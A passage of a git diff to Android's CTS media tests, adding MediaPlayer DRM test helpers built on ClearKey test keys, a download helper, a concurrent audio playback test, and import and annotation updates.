+            Log.v(TAG, "playLoadedVideo: releaseDrm");
+            mMediaPlayer.releaseDrm();
+        } catch (Exception e) {
+            e.printStackTrace();
+            throw new PrepareFailedException();
+        }
+    }
+
+    private void preparePlayerAndDrm_V0_syncDrmSetup() throws Exception {
+        Log.v(TAG, "preparePlayerAndDrm_V0: calling prepare()");
+        mMediaPlayer.prepare();
+
+        DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
+        if (drmInfo != null) {
+            setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                    MediaDrm.KEY_TYPE_STREAMING);
+            Log.v(TAG, "preparePlayerAndDrm_V0: setupDrm done!");
+        }
+    }
+
+    private void preparePlayerAndDrm_V1_asyncDrmSetup() throws InterruptedException {
+        Monitor onPreparedCalled = new Monitor();
+        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+        mMediaPlayer.setOnDrmInfoListener(new MediaPlayer.OnDrmInfoListener() {
+            @Override
+            public void onDrmInfo(MediaPlayer mp, DrmInfo drmInfo) {
+                Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo" + drmInfo);
+
+                // in the callback (async mode) so handling exceptions here
+                try {
+                    setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                            MediaDrm.KEY_TYPE_STREAMING);
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V1: setupDrm EXCEPTION " + e);
+                    asyncSetupDrmError.set(true);
+                }
+
+                Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo done!");
+            }
+        });
+
+        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                Log.v(TAG, "preparePlayerAndDrm_V1: onPrepared");
+
+                onPreparedCalled.signal();
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V1: calling prepareAsync()");
+        mMediaPlayer.prepareAsync();
+
+        // Waiting till the player is prepared
+        onPreparedCalled.waitForSignal();
+
+        // to handle setupDrm error (async) in the main thread rather than the callback
+        if (asyncSetupDrmError.get()) {
+            fail("preparePlayerAndDrm_V1: setupDrm");
+        }
+    }
+
+    private void preparePlayerAndDrm_V2_syncDrmSetupPlusConfig() throws Exception {
+        mMediaPlayer.setOnDrmConfigHelper(new MediaPlayer.OnDrmConfigHelper() {
+            @Override
+            public void onDrmConfig(MediaPlayer mp) {
+                String WIDEVINE_SECURITY_LEVEL_3 = "L3";
+                String SECURITY_LEVEL_PROPERTY = "securityLevel";
+
+                try {
+                    String level = mp.getDrmPropertyString(SECURITY_LEVEL_PROPERTY);
+                    Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: " +
+                            SECURITY_LEVEL_PROPERTY + " -> " + level);
+                    mp.setDrmPropertyString(SECURITY_LEVEL_PROPERTY, WIDEVINE_SECURITY_LEVEL_3);
+                    level = mp.getDrmPropertyString(SECURITY_LEVEL_PROPERTY);
+                    Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: " +
+                            SECURITY_LEVEL_PROPERTY + " -> " + level);
+                } catch (MediaPlayer.NoDrmSchemeException e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V2: NoDrmSchemeException");
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V2: onDrmConfig EXCEPTION " + e);
+                }
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V2: calling prepare()");
+        mMediaPlayer.prepare();
+
+        DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
+        if (drmInfo != null) {
+            setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                    MediaDrm.KEY_TYPE_STREAMING);
+            Log.v(TAG, "preparePlayerAndDrm_V2: setupDrm done!");
+        }
+    }
+
+    private void preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener()
+            throws InterruptedException {
+        Monitor onPreparedCalled = new Monitor();
+        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+        mMediaPlayer.setOnDrmInfoListener(new MediaPlayer.OnDrmInfoListener() {
+            @Override
+            public void onDrmInfo(MediaPlayer mp, DrmInfo drmInfo) {
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo" + drmInfo);
+
+                // DRM preperation
+                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.length == 0) {
+                    Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: No supportedSchemes");
+                    asyncSetupDrmError.set(true);
+                    return;
+                }
+
+                // setting up with the first supported UUID
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "preparePlayerAndDrm_V3: onDrmInfo: selected " + drmScheme);
+
+                try {
+                    Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: calling prepareDrm");
+                    mp.prepareDrm(drmScheme);
+                    Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: called prepareDrm");
+                } catch (Exception e) {
+                    e.printStackTrace();
+                    Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: prepareDrm exception " + e);
+                    asyncSetupDrmError.set(true);
+                    return;
+                }
+
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo done!");
+            }
+        });
+
+        mMediaPlayer.setOnDrmPreparedListener(new MediaPlayer.OnDrmPreparedListener() {
+            @Override
+            public void onDrmPrepared(MediaPlayer mp, int status) {
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared status: " + status);
+
+                assertTrue("preparePlayerAndDrm_V3: onDrmPrepared did not succeed",
+                           status == MediaPlayer.PREPARE_DRM_STATUS_SUCCESS);
+
+                DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
+
+                // in the callback (async mode) so handling exceptions here
+                try {
+                    setupDrm(drmInfo, false /* prepareDrm */, true /* synchronousNetworking */,
+                            MediaDrm.KEY_TYPE_STREAMING);
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V3: setupDrm EXCEPTION " + e);
+                    asyncSetupDrmError.set(true);
+                }
+
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared done!");
+            }
+        });
+
+        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                Log.v(TAG, "preparePlayerAndDrm_V3: onPrepared");
+
+                onPreparedCalled.signal();
+                Log.v(TAG, "preparePlayerAndDrm_V3: onPrepared done!");
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V3: calling prepareAsync()");
+        mMediaPlayer.prepareAsync();
+
+        // Waiting till the player is prepared
+        onPreparedCalled.waitForSignal();
+
+        // to handle setupDrm error (async) in the main thread rather than the callback
+        if (asyncSetupDrmError.get()) {
+            fail("preparePlayerAndDrm_V3: setupDrm");
+        }
+    }
+
+    private void playLoadedModularDrmVideo_V4_offlineKey(final Uri file, final Integer width,
+            final Integer height, int playTime) throws Exception {
+        final float leftVolume = 0.5f;
+        final float rightVolume = 0.5f;
+
+        mAudioOnly = (width == 0);
+
+        Log.v(TAG, "playLoadedModularDrmVideo_V4_offlineKey: setDisplay " +
+                mActivity.getSurfaceHolder());
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
+            @Override
+            public void onVideoSizeChanged(MediaPlayer mp, int w, int h) {
+                Log.v(TAG, "VideoSizeChanged" + " w:" + w + " h:" + h);
+                mOnVideoSizeChangedCalled.signal();
+            }
+        });
+        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+            @Override
+            public boolean onError(MediaPlayer mp, int what, int extra) {
+                fail("Media player had error " + what + " playing video");
+                return true;
+            }
+        });
+
+        final Monitor playbackCompleted = new Monitor();
+        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
+            @Override
+            public void onCompletion(MediaPlayer mp) {
+                Log.v(TAG, "playLoadedVideo: onCompletion");
+                playbackCompleted.signal();
+            }
+        });
+
+        DrmInfo drmInfo = null;
+
+        for (int round = 0; round < 2 ; round++) {
+            boolean keyRequestRound = (round == 0);
+            boolean restoreRound = (round == 1);
+            Log.v(TAG, "playLoadedVideo: round " + round);
+
+            try {
+                Log.v(TAG, "playLoadedVideo: setDataSource()");
+                mMediaPlayer.setDataSource(mContext, file);
+
+                Log.v(TAG, "playLoadedVideo: prepare()");
+                mMediaPlayer.prepare();
+
+                // but preparing the DRM every time with proper key request type
+                drmInfo = mMediaPlayer.getDrmInfo();
+                if (drmInfo != null) {
+                    if (keyRequestRound) {
+                        // asking for offline keys
+                        setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                                 MediaDrm.KEY_TYPE_OFFLINE);
+                    } else if (restoreRound) {
+                        setupDrmRestore(drmInfo, true /* prepareDrm */);
+                    } else {
+                        fail("preparePlayer: unexpected round " + round);
+                    }
+                    Log.v(TAG, "preparePlayer: setupDrm done!");
+                }
+
+            } catch (IOException e) {
+                e.printStackTrace();
+                throw new PrepareFailedException();
+            }
+
+            Log.v(TAG, "playLoadedVideo: start()");
+            mMediaPlayer.start();
+            if (!mAudioOnly) {
+                mOnVideoSizeChangedCalled.waitForSignal();
+            }
+            mMediaPlayer.setVolume(leftVolume, rightVolume);
+
+            // waiting to complete
+            if (playTime == 0) {
+                Log.v(TAG, "playLoadedVideo: waiting for playback completion");
+                playbackCompleted.waitForSignal();
+            } else {
+                Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
+                playbackCompleted.waitForSignal(playTime);
+            }
+
+            Log.v(TAG, "playLoadedVideo: stopping");
+            mMediaPlayer.stop();
+            Log.v(TAG, "playLoadedVideo: stopped");
+
+            try {
+                if (drmInfo != null) {
+                    if (restoreRound) {
+                        // releasing the offline key
+                        setupDrm(null /* drmInfo */, false /* prepareDrm */,
+                                 true /* synchronousNetworking */, MediaDrm.KEY_TYPE_RELEASE);
+                        Log.v(TAG, "playLoadedVideo: released offline keys");
+                    }
+
+                    Log.v(TAG, "playLoadedVideo: releaseDrm");
+                    mMediaPlayer.releaseDrm();
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+                throw new PrepareFailedException();
+            }
+
+            if (keyRequestRound) {
+                playbackCompleted.reset();
+                final int SLEEP_BETWEEN_ROUNDS = 1000;
+                Thread.sleep(SLEEP_BETWEEN_ROUNDS);
+
+                Log.v(TAG, "playLoadedVideo: reset");
+                mMediaPlayer.reset();
+            }
+        } // for
+    }
+
+    private void preparePlayerAndDrm_V5_asyncDrmSetupWithHandler()
+            throws InterruptedException {
+        Monitor onPreparedCalled = new Monitor();
+        Monitor onDrmPreparedCalled = new Monitor();
+        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+        Log.v(TAG, "preparePlayerAndDrm_V5: started " +  Thread.currentThread());
+        final HandlerThread handlerThread = new HandlerThread("ModDrmHandlerThread");
+        handlerThread.start();
+        Handler handler = new Handler(handlerThread.getLooper());
+
+        mMediaPlayer.setOnDrmInfoListener(new MediaPlayer.OnDrmInfoListener() {
+            @Override
+            public void onDrmInfo(MediaPlayer mp, DrmInfo drmInfo) {
+                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo " + drmInfo +
+                        " " + Thread.currentThread());
+
+                // DRM preperation
+                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.length == 0) {
+                    Log.e(TAG, "preparePlayerAndDrm_V5: onDrmInfo: No supportedSchemes");
+                    asyncSetupDrmError.set(true);
+                    // we won't call prepareDrm anymore but need to get passed the wait
+                    onDrmPreparedCalled.signal();
+                    return;
+                }
+
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "preparePlayerAndDrm_V5: onDrmInfo: selected " + drmScheme);
+
+                try {
+                    Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo: calling prepareDrm");
+                    mp.prepareDrm(drmScheme);
+                    Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo: called prepareDrm");
+                } catch (Exception e) {
+                    e.printStackTrace();
+                    Log.e(TAG, "preparePlayerAndDrm_V5: onDrmInfo: prepareDrm exception " + e);
+                    asyncSetupDrmError.set(true);
+                    // need to get passed the wait
+                    onDrmPreparedCalled.signal();
+                    return;
+                }
+
+                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo done!");
+            }
+        }, handler);
+
+        mMediaPlayer.setOnDrmPreparedListener(new MediaPlayer.OnDrmPreparedListener() {
+            @Override
+            public void onDrmPrepared(MediaPlayer mp, int status) {
+                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmPrepared status: " + status +
+                        " " + Thread.currentThread());
+
+                assertTrue("preparePlayerAndDrm_V5: onDrmPrepared did not succeed",
+                        status == MediaPlayer.PREPARE_DRM_STATUS_SUCCESS);
+
+                DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
+
+                // in the callback (async mode) so handling exceptions here
+                try {
+                    setupDrm(drmInfo, false /* prepareDrm */, true /* synchronousNetworking */,
+                            MediaDrm.KEY_TYPE_STREAMING);
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V5: setupDrm EXCEPTION " + e);
+                    asyncSetupDrmError.set(true);
+                }
+
+                onDrmPreparedCalled.signal();
+                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmPrepared done!");
+            }
+        }, handler);
+
+        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                Log.v(TAG, "preparePlayerAndDrm_V5: onPrepared " + Thread.currentThread());
+
+                onPreparedCalled.signal();
+                Log.v(TAG, "preparePlayerAndDrm_V5: onPrepared done!");
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V5: calling prepareAsync()");
+        mMediaPlayer.prepareAsync();
+
+        // Waiting till the player is prepared
+        onPreparedCalled.waitForSignal();
+        // Unlike v3, onDrmPrepared is not synced to onPrepared b/c of its own thread handler
+        onDrmPreparedCalled.waitForSignal();
+
+        // to handle setupDrm error (async) in the main thread rather than the callback
+        if (asyncSetupDrmError.get()) {
+            fail("preparePlayerAndDrm_V5: setupDrm");
+        }
+
+        // stop the handler thread; callbacks are processed by now.
+        handlerThread.quit();
+    }
+
+    /*
+     * Sets up the DRM for the first DRM scheme from the supported list.
+     *
+     * @param drmInfo DRM info of the source
+     * @param prepareDrm whether prepareDrm should be called
+     * @param synchronousNetworking whether the network operation of key request/response will
+     *        be performed synchronously
+     */
+    private void setupDrm(DrmInfo drmInfo, boolean prepareDrm, boolean synchronousNetworking,
+            int keyType) throws Exception {
+        Log.d(TAG, "setupDrm: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm +
+                " synchronousNetworking: " + synchronousNetworking);
+        try {
+            byte[] initData = null;
+            String mime = null;
+            String keyTypeStr = "Unexpected";
+
+            switch (keyType) {
+            case MediaDrm.KEY_TYPE_STREAMING:
+            case MediaDrm.KEY_TYPE_OFFLINE:
+                // DRM preparation
+                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.length == 0) {
+                    fail("setupDrm: No supportedSchemes");
+                }
+
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "setupDrm: selected " + drmScheme);
+
+                if (prepareDrm) {
+                    mMediaPlayer.prepareDrm(drmScheme);
+                }
+
+                initData = drmInfo.getPssh().get(drmScheme);
+                // diverging from GTS
+                if (initData == null) {
+                    initData = CLEARKEY_PSSH;
+                    Log.d(TAG, "setupDrm: CLEARKEY scheme not found in PSSH. Using default data.");
+                }
+                Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: " + initData);
+
+                // diverging from GTS
+                mime = "cenc";
+
+                keyTypeStr = (keyType == MediaDrm.KEY_TYPE_STREAMING) ?
+                        "KEY_TYPE_STREAMING" : "KEY_TYPE_OFFLINE";
+                break;
+
+            case MediaDrm.KEY_TYPE_RELEASE:
+                if (mKeySetId == null) {
+                    fail("setupDrm: KEY_TYPE_RELEASE requires a valid keySetId.");
+                }
+                keyTypeStr = "KEY_TYPE_RELEASE";
+                break;
+
+            default:
+                fail("setupDrm: Unexpected keyType " + keyType);
+            }
+
+            final MediaDrm.KeyRequest request = mMediaPlayer.getKeyRequest(
+                    (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
+                    initData,
+                    mime,
+                    keyType,
+                    null /* optionalKeyRequestParameters */
+                    );
+
+            Log.d(TAG, "setupDrm: mMediaPlayer.getKeyRequest(" + keyTypeStr +
+                    ") request -> " + request);
+
+            // diverging from GTS
+            byte[][] clearKeys = new byte[][] { CLEAR_KEY_CENC };
+            byte[] response = createKeysResponse(request, clearKeys);
+
+            // null is returned when the response is for a streaming or release request.
+            byte[] keySetId = mMediaPlayer.provideKeyResponse(
+                    (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
+                    response);
+            Log.d(TAG, "setupDrm: provideKeyResponse -> " + keySetId);
+            // storing offline key for a later restore
+            mKeySetId = (keyType == MediaDrm.KEY_TYPE_OFFLINE) ? keySetId : null;
+
+        } catch (MediaPlayer.NoDrmSchemeException e) {
+            Log.d(TAG, "setupDrm: NoDrmSchemeException");
+            e.printStackTrace();
+            throw e;
+        } catch (MediaPlayer.ProvisioningNetworkErrorException e) {
+            Log.d(TAG, "setupDrm: ProvisioningNetworkErrorException");
+            e.printStackTrace();
+            throw e;
+        } catch (MediaPlayer.ProvisioningServerErrorException e) {
+            Log.d(TAG, "setupDrm: ProvisioningServerErrorException");
+            e.printStackTrace();
+            throw e;
+        } catch (UnsupportedSchemeException e) {
+            Log.d(TAG, "setupDrm: UnsupportedSchemeException");
+            e.printStackTrace();
+            throw e;
+        } catch (ResourceBusyException e) {
+            Log.d(TAG, "setupDrm: ResourceBusyException");
+            e.printStackTrace();
+            throw e;
+        } catch (Exception e) {
+            Log.d(TAG, "setupDrm: Exception " + e);
+            e.printStackTrace();
+            throw e;
+        }
+    } // setupDrm
+
+    private void setupDrmRestore(DrmInfo drmInfo, boolean prepareDrm) throws Exception {
+        Log.d(TAG, "setupDrmRestore: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm);
+        try {
+            if (prepareDrm) {
+                // DRM preparation
+                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.length == 0) {
+                    fail("setupDrmRestore: No supportedSchemes");
+                }
+
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "setupDrmRestore: selected " + drmScheme);
+
+                mMediaPlayer.prepareDrm(drmScheme);
+            }
+
+            if (mKeySetId == null) {
+                fail("setupDrmRestore: Offline key has not been setup.");
+            }
+
+            mMediaPlayer.restoreKeys(mKeySetId);
+
+        } catch (MediaPlayer.NoDrmSchemeException e) {
+            Log.v(TAG, "setupDrmRestore: NoDrmSchemeException");
+            e.printStackTrace();
+            throw e;
+        } catch (Exception e) {
+            Log.v(TAG, "setupDrmRestore: Exception " + e);
+            e.printStackTrace();
+            throw e;
+        }
+    } // setupDrmRestore
+
+    //////////////////////////////////////////////////////////////////////////////////////////////
+    // Diverging from GTS
+
+    // Clearkey helpers
+
+    /**
+     * Convert a hex string into byte array.
+     */
+    private static byte[] hexStringToByteArray(String s) {
+        int len = s.length();
+        byte[] data = new byte[len / 2];
+        for (int i = 0; i < len; i += 2) {
+            data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) +
+                                   Character.digit(s.charAt(i + 1), 16));
+        }
+        return data;
+    }
+
+    /**
+     * Extracts key ids from the pssh blob returned by getKeyRequest() and
+     * places it in keyIds.
+     * keyRequestBlob format (section 5.1.3.1):
+     * https://dvcs.w3.org/hg/html-media/raw-file/default/encrypted-media/encrypted-media.html
+     *
+     * @return size of keyIds vector that contains the key ids, 0 for error
+     */
+    private int getKeyIds(byte[] keyRequestBlob, Vector<String> keyIds) {
+        if (0 == keyRequestBlob.length || keyIds == null) {
+            Log.e(TAG, "getKeyIds: Empty keyRequestBlob or null keyIds.");
+            return 0;
+        }
+
+        String jsonLicenseRequest = new String(keyRequestBlob);
+        keyIds.clear();
+
+        try {
+            JSONObject license = new JSONObject(jsonLicenseRequest);
+            Log.v(TAG, "getKeyIds: license: " + license);
+            final JSONArray ids = license.getJSONArray("kids");
+            Log.v(TAG, "getKeyIds: ids: " + ids);
+            for (int i = 0; i < ids.length(); ++i) {
+                keyIds.add(ids.getString(i));
+            }
+        } catch (JSONException e) {
+            Log.e(TAG, "Invalid JSON license = " + jsonLicenseRequest);
+            return 0;
+        }
+        return keyIds.size();
+    }
+
+    /**
+     * Creates the JSON Web Key string.
+     *
+     * @return JSON Web Key string.
+     */
+    private String createJsonWebKeySet(Vector<String> keyIds, Vector<String> keys) {
+        String jwkSet = "{\"keys\":[";
+        for (int i = 0; i < keyIds.size(); ++i) {
+            String id = new String(keyIds.get(i).getBytes(Charset.forName("UTF-8")));
+            String key = new String(keys.get(i).getBytes(Charset.forName("UTF-8")));
+
+            jwkSet += "{\"kty\":\"oct\",\"kid\":\"" + id +
+                    "\",\"k\":\"" + key + "\"}";
+        }
+        jwkSet += "]}";
+        return jwkSet;
+    }
+
+    /**
+     * Retrieves clear key ids from KeyRequest and creates the response in place.
+     */
+    private byte[] createKeysResponse(MediaDrm.KeyRequest keyRequest, byte[][] clearKeys) {
+
+        Vector<String> keyIds = new Vector<String>();
+        if (0 == getKeyIds(keyRequest.getData(), keyIds)) {
+            Log.e(TAG, "No key ids found in initData");
+            return null;
+        }
+
+        if (clearKeys.length != keyIds.size()) {
+            Log.e(TAG, "Mismatch number of key ids and keys: ids=" +
+                    keyIds.size() + ", keys=" + clearKeys.length);
+            return null;
+        }
+
+        // Base64 encodes clearkeys. Keys are known to the application.
+        Vector<String> keys = new Vector<String>();
+        for (int i = 0; i < clearKeys.length; ++i) {
+            String clearKey = Base64.encodeToString(clearKeys[i],
+                    Base64.NO_PADDING | Base64.NO_WRAP);
+            keys.add(clearKey);
+        }
+
+        String jwkSet = createJsonWebKeySet(keyIds, keys);
+        byte[] jsonResponse = jwkSet.getBytes(Charset.forName("UTF-8"));
+
+        return jsonResponse;
+    }
+
+    //////////////////////////////////////////////////////////////////////////////////////////////
+    // Playback/download helpers
+
+    private static class MediaDownloadManager {
+        private static final String TAG = "MediaDownloadManager";
+
+        private final Context mContext;
+        private final DownloadManager mDownloadManager;
+
+        public MediaDownloadManager(Context context) {
+            mContext = context;
+            mDownloadManager =
+                    (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);
+        }
+
+        public long downloadFileWithRetries(Uri uri, Uri file, long timeout, int retries)
+            throws Exception {
+            long id = -1;
+            for (int i = 0; i < retries; i++) {
+                try {
+                    id = downloadFile(uri, file, timeout);
+                    if (id != -1) {
+                        break;
+                    }
+                } catch (Exception e) {
+                    removeFile(id);
+                    Log.w(TAG, "Download failed " + i + " times ");
+                }
+            }
+            return id;
+        }
+
+        public long downloadFile(Uri uri, Uri file, long timeout) throws Exception {
+            Log.i(TAG, "uri:" + uri + " file:" + file + " wait:" + timeout + " Secs");
+            final DownloadReceiver receiver = new DownloadReceiver();
+            long id = -1;
+            try {
+                IntentFilter intentFilter =
+                        new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);
+                mContext.registerReceiver(receiver, intentFilter);
+
+                Request request = new Request(uri);
+                request.setDestinationUri(file);
+                id = mDownloadManager.enqueue(request);
+                Log.i(TAG, "enqueue:" + id);
+
+                receiver.waitForDownloadComplete(timeout, id);
+            } finally {
+                mContext.unregisterReceiver(receiver);
+            }
+            return id;
+        }
+
+        public void removeFile(long id) {
+            Log.i(TAG, "removeFile:" + id);
+            mDownloadManager.remove(id);
+        }
+
+        public Uri getUriForDownloadedFile(long id) {
+            return mDownloadManager.getUriForDownloadedFile(id);
+        }
+
+        private final class DownloadReceiver extends BroadcastReceiver {
+            private HashSet<Long> mCompleteIds = new HashSet<>();
+
+            public DownloadReceiver() {
+            }
+
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                synchronized (mCompleteIds) {
+                    if (DownloadManager.ACTION_DOWNLOAD_COMPLETE.equals(intent.getAction())) {
+                        mCompleteIds.add(
+                                intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, -1));
+                        mCompleteIds.notifyAll();
+                    }
+                }
+            }
+
+            private boolean isCompleteLocked(long... ids) {
+                for (long id : ids) {
+                    if (!mCompleteIds.contains(id)) {
+                        return false;
+                    }
+                }
+                return true;
+            }
+
+            public void waitForDownloadComplete(long timeoutSecs, long... waitForIds)
+                throws InterruptedException {
+                if (waitForIds.length == 0) {
+                    throw new IllegalArgumentException("Missing IDs to wait for");
+                }
+
+                final long startTime = SystemClock.elapsedRealtime();
+                do {
+                    synchronized (mCompleteIds) {
+                        mCompleteIds.wait(1000);
+                        if (isCompleteLocked(waitForIds)) {
+                            return;
+                        }
+                    }
+                } while ((SystemClock.elapsedRealtime() - startTime) < timeoutSecs * 1000);
+
+                throw new InterruptedException("Timeout waiting for IDs " +
+                        Arrays.toString(waitForIds) + "; received " + mCompleteIds.toString()
+                        + ".  Make sure you have WiFi or some other connectivity for this test.");
+            }
+        }
+
+    }  // MediaDownloadManager
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
index 30d0feb..5fc71ff 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
@@ -15,7 +15,6 @@
  */
 package android.media.cts;
 
-import android.cts.util.MediaUtils;
 import android.media.MediaPlayer;
 import android.os.Handler;
 import android.os.Looper;
@@ -23,6 +22,8 @@
 import android.os.SystemClock;
 import android.webkit.cts.CtsTestServer;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import org.apache.http.HttpServerConnection;
 
 import org.apache.http.impl.DefaultHttpServerConnection;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
index ae314d2..429d56e 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
@@ -17,10 +17,14 @@
 package android.media.cts;
 
 import android.os.Bundle;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.ActivityInstrumentationTestCase2;
 
 /**
  */
+@SmallTest
+@RequiresDevice
 public class MediaPlayerSurfaceTest extends ActivityInstrumentationTestCase2<MediaPlayerSurfaceStubActivity> {
 
     public MediaPlayerSurfaceTest() {
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 71deb67..e659e19 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -20,7 +20,6 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
-import android.cts.util.MediaUtils;
 import android.graphics.Rect;
 import android.hardware.Camera;
 import android.media.AudioManager;
@@ -45,8 +44,12 @@
 import android.os.PowerManager;
 import android.os.ServiceManager;
 import android.os.SystemClock;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
 import android.util.Log;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.InputStream;
@@ -56,7 +59,8 @@
 import java.util.UUID;
 import java.util.Vector;
 import java.util.concurrent.CountDownLatch;
-
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
 import junit.framework.AssertionFailedError;
 
 /**
@@ -66,6 +70,8 @@
  * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
  * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
  */
+@SmallTest
+@RequiresDevice
 public class MediaPlayerTest extends MediaPlayerTestBase {
 
     private String RECORDED_FILE;
@@ -104,10 +110,6 @@
         }
     }
 
-    public void testonInputBufferFilledSigsegv() throws Exception {
-        testIfMediaServerDied(R.raw.on_input_buffer_filled_sigsegv);
-    }
-
     public void testFlacHeapOverflow() throws Exception {
         testIfMediaServerDied(R.raw.heap_oob_flac);
     }
@@ -301,6 +303,42 @@
         }
     }
 
+    public void testConcurentPlayAudio() throws Exception {
+        final int resid = R.raw.test1m1s; // MP3 longer than 1m are usualy offloaded
+        final int tolerance = 70;
+
+        List<MediaPlayer> mps = Stream.generate(() -> MediaPlayer.create(mContext, resid))
+                                      .limit(5).collect(Collectors.toList());
+
+        try {
+            for (MediaPlayer mp : mps) {
+                mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
+                mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+                assertFalse(mp.isPlaying());
+                mp.start();
+                assertTrue(mp.isPlaying());
+
+                assertFalse(mp.isLooping());
+                mp.setLooping(true);
+                assertTrue(mp.isLooping());
+
+                int pos = mp.getCurrentPosition();
+                assertTrue(pos >= 0);
+
+                Thread.sleep(SLEEP_TIME); // Delay each track to be able to ear them
+            }
+            // Check that all mp3 are playing concurrently here
+            for (MediaPlayer mp : mps) {
+                int pos = mp.getCurrentPosition();
